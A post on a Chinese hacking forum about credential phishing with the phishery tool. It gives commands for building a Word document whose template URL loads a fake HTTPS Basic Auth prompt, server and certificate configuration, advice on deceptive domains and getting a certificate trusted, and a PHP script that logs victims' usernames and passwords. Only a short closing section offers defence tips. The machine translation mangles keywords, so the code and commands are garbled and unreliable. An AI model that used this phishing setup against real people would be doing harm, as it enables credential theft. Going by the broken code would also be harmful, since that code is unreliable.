跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

通过基本身份验证(网络钓鱼)利用测试的网络钓鱼凭据


Tenfk

推荐的帖子

0x00 前言

PHIHY是一个支持SSL的简单HTTP服务器。其主要目的是通过基本的身份认证钓鱼来获取目标的凭证。

本文将对其进行测试,介绍测试细节,分析实现原理,拓展用途。

网络钓鱼地址:

https://github.com/ryhanson/phishery

0x01 简介

本文将介绍以下内容:

物理实际测试

实现原则

1:使用openssh制作证书。

2: PHP实现基本认证

辩护建议

0x02 phishery实际测试

测试系统:Win7x64

编译程序:

https://github . com/ry Hanson/phis hery/releases/download/v 1 . 0 . 2/phis hery 1 . 0 . 2 windows-amd64 . tar . gz

1、生成word文档

phishery-u https://secure.site.local/docs-I good . docx-o bad . docx

参数描述:

由于伪造的https://secure.site.local/docs,文档的web服务器地址是文件名(该文件必须存在,默认对应文件template.dotx),目标用户打开bad.docx时会显示

Good.docx是输入的word文档,文档是正常内容。

Bad.docx是输出的word文档。在good.docx中插入Word文档模板

如下图

2-1.png

2、启动HTTPS Auth Server

钓鱼

加载的默认配置文件是同一目录中的settings.json。

内容如下:

{

ip': '0.0.0.0 ',

端口':' 443 ',

sslCert': 'server.crt ',

sslKey': 'server.key ',

basicRealm ':'安全文档网关',

' responseStatus': 200,

responseFile': 'template.dotx ',

响应负责人':[

['Content-Type ',' application/vnd . openxml formats-office document . wordprocessingml . template ']

]

}

注:

Server.crt和server.key是项目中包含的测试证书文件,后面会介绍证书文件的生成方法。

将默认获得的目标用户凭据保存在credentials.json文件中

该程序运行如下

2-2.png

3、欺骗目标用户点击bad.docx

用户需要满足以下条件:

(1)能够解析域名

您可以选择以下三种方法:

方法一:通过域名提供商将域名解析为HTTPS Auth服务器的IP地址。

域名需要有欺骗性。

方法2:修改网关的配置,将域名解析为HTTPS认证服务器的IP地址。

需要修改网关配置的权限。

方法:修改目标用户测试环境的hosts文件,并将域名解析为HTTPS认证服务器的IP地址。

仅供测试。

注:

直接用IP也是可以的,但不是骗人的。

(2)信任HTTPS Auth Server的证书文件

您可以选择以下三种方法:

方法一:https auth服务器的证书文件是权威ca机构颁发的,目标信任这个CA机构。

将csr文件发送给CA机构进行验证。如果获得批准,CA机构将使用其私钥对csr文件进行签名并生成一个证书文件(。crt文件)。

2.使用可信证书。

方法3:目标用户向证书添加信任。

将自签名证书安装到受信任的根证书颁发机构。

如果目标用户不信任HTTPS认证服务器的证书文件,打开文档时会弹出提示,如下图所示

3-1.png

只有当用户选择是时,才会弹出输入凭证的对话框,如下图所示。

3-2.png

对话框中的域名与伪造的web服务器地址相同。

目标用户输入凭证后,HTTPS身份验证服务器获取用户输入的凭证,如下图所示

3-3.png

接下来,显示word文档的正常内容。

0x03 实现原理

1、Basic Authentication

当客户端访问服务器时,如果服务器返回401 Unauthozied,响应的头是www-authenticate:basicrealm=' xxxx '

客户端会自动弹出一个登录窗口,要求用户输入用户名和密码。

比如通过IE访问https://secure.site.local/docs,会弹出一个对话框,如下图所示

4-1.png

客户端输入用户名和密码后,用户名和密码将通过base64加密进行加密和发送。

2、Word文档的Word document template

word文档的Word文档模板可以插入URL,打开Word文档时会自动访问。

注:

必须是https,不支持http

查看方法:

工具-附加组件

如下图

4-2.png

注:

Excel和PowerPoint不能使用这种方法。

3、服务器接收消息,base64解密获得用户名和口令

对应的程序源代码:

https://github . com/ry Hanson/phis hery/blob/master/phish/phis hery . go # L50

##0x04 补充1: 使用openssh制作证书

1、安装openssh

Ubuntu:

安装openssl

窗口:

下载阿帕奇人,地址如下:

http://httpd.apache.org/download.cgi

安装街头流氓后默认安装openssl,位于\Apache24\bin

2、生成私钥文件test.com.key和证书签名请求test.com.csr

参数如下:

OpenSSL x509-请求-天数3650-在test . com . CSR-签名密钥test.com.key-不在test.com.crt

如果证书缺少主题备用名称SAN(主题别名),需要通过配置文件进行添加

参考资料:

https://support.citrix.com/article/CTX135602_

新建文件req.cnf,内容如下:

[请求]

识别名=请求识别名

x509_extensions=v3_req

提示=否

[请求标识名]

C=美国

ST=VA

L=某个城市

O=我的公司

OU=MyDivision

CN=test.com

[v3_req]

keyUsage=临界,数字签名,关键协议

extendedKeyUsage=serverAuth

subjectAltName=@ alt _ names

[备用名]

DNS。1=test.com

注:

通信网络(交流网的缩写)和DNS.1都需要设定为域名(测试域名为test.com)

生成私钥和自签名证书:

OpenSSL req-x509-nodes-days 365-新密钥RSA:2048-keyut test . com . key-out test . com . CRT-config req。CNF-沙256

更多参数的细节可参考之前的文章《CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发》

0x05 补充2: php实现Basic Authentication

服务器端编程语言(专业超文本预处理器的缩写)环境使用哲学研究搭建

1、phpstudy开启ssl

(1)修改apache目录下的httpd.conf配置文件

定位#加载模块SSL _ module模块/mod _ SSL。所以,去掉注释符#

#安全(SSL/TLS)连接下添加一行包含conf/vhosts_ssl.conf

(2)在conf文件夹下创建文件vhosts_ssl.conf

内容如下:

听443

SSLStrictSNIVHostCheck off

SSLCipherSuite AESGCM:ALL:DH:导出:RC4:高:中等:低:阿努尔:埃努尔

加密套接字协议层协议所有-SSLv2 -SSLv3

DocumentRoot 'C:\WWW '

服务器名test.com

选项跟随符号链接ExecCGI

全部覆盖

订单允许、拒绝

允许所有人

要求全部授权

SSLEngine on

SSL证书文件“C:\ Apache \ conf \ SSL \ test。com。CRT '

SSL证书密钥文件' C:\ Apache \ conf \ SSL \ test。com。“钥匙”

(3)重启phpstudy

访问https://127.0.0.1,验证

2、php实现Basic Authentication,记录用户口令

服务器端编程语言(专业超文本预处理器的缩写)代码如下:

?服务器端编程语言(专业超文本预处理器的缩写)

如果(!isset($ _ SERVER[' PHP _ AUTH _ USER '])或!isset($_SERVER['PHP_AUTH_PW']))

{

file_put_contents('log.txt ',' ClientIP:' .$ _服务器['远程_ ADDR].\r\n ',FILE _ APPEND);

header(' WWW-Authenticate:Basic realm=' Document Security ' ');

标题(' HTTP/1.0 401未授权');

}

其他

{

file_put_contents('log.txt ',' ClientIP:' .$ _服务器['远程_ ADDR].','.$_SERVER['PHP_AUTH_USER'].':'.$_SERVER['PHP_AUTH_PW'].\r\n ',FILE _ APPEND);

打印"找不到文件";

}

代码实现了记录用户口令并写入文件log.txt,返回用户的内容为找不到文件

注:

该服务器端编程语言(专业超文本预处理器的缩写)脚本可以作为钓鱼的HTTPS认证服务器

通过服务器端编程语言(专业超文本预处理器的缩写)实现基本身份验证,如果不使用https,弹出的对话框会多一些提示,如下图

4-3.png

如果不使用https,无法作为单词文档模板插入单词文档

0x06 防御建议

检测到的实际攻击活动:

https://研究中心。帕洛阿尔托网络。com/2018/08/unit 42-darkydrus-uses-phishery-harvest-credentials-中东/

结合本文的分析和实际攻击活动的细节,给出如下建议:

正常单词文档很少会要求用户输入凭据

对域名的证书进行检查(针对https)

对域名进行识别,是否是伪造的域名

0x07 小结

本文对钓鱼进行测试,介绍测试细节,分析实现原理,补充了服务器端编程语言(专业超文本预处理器的缩写)实现基本认证的方法,最后给出防御建议

个人认为钓鱼的另一个作用:将内网的一台Windows操作系统操作系统主机作为服务器,用于记录目标输入的凭据

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...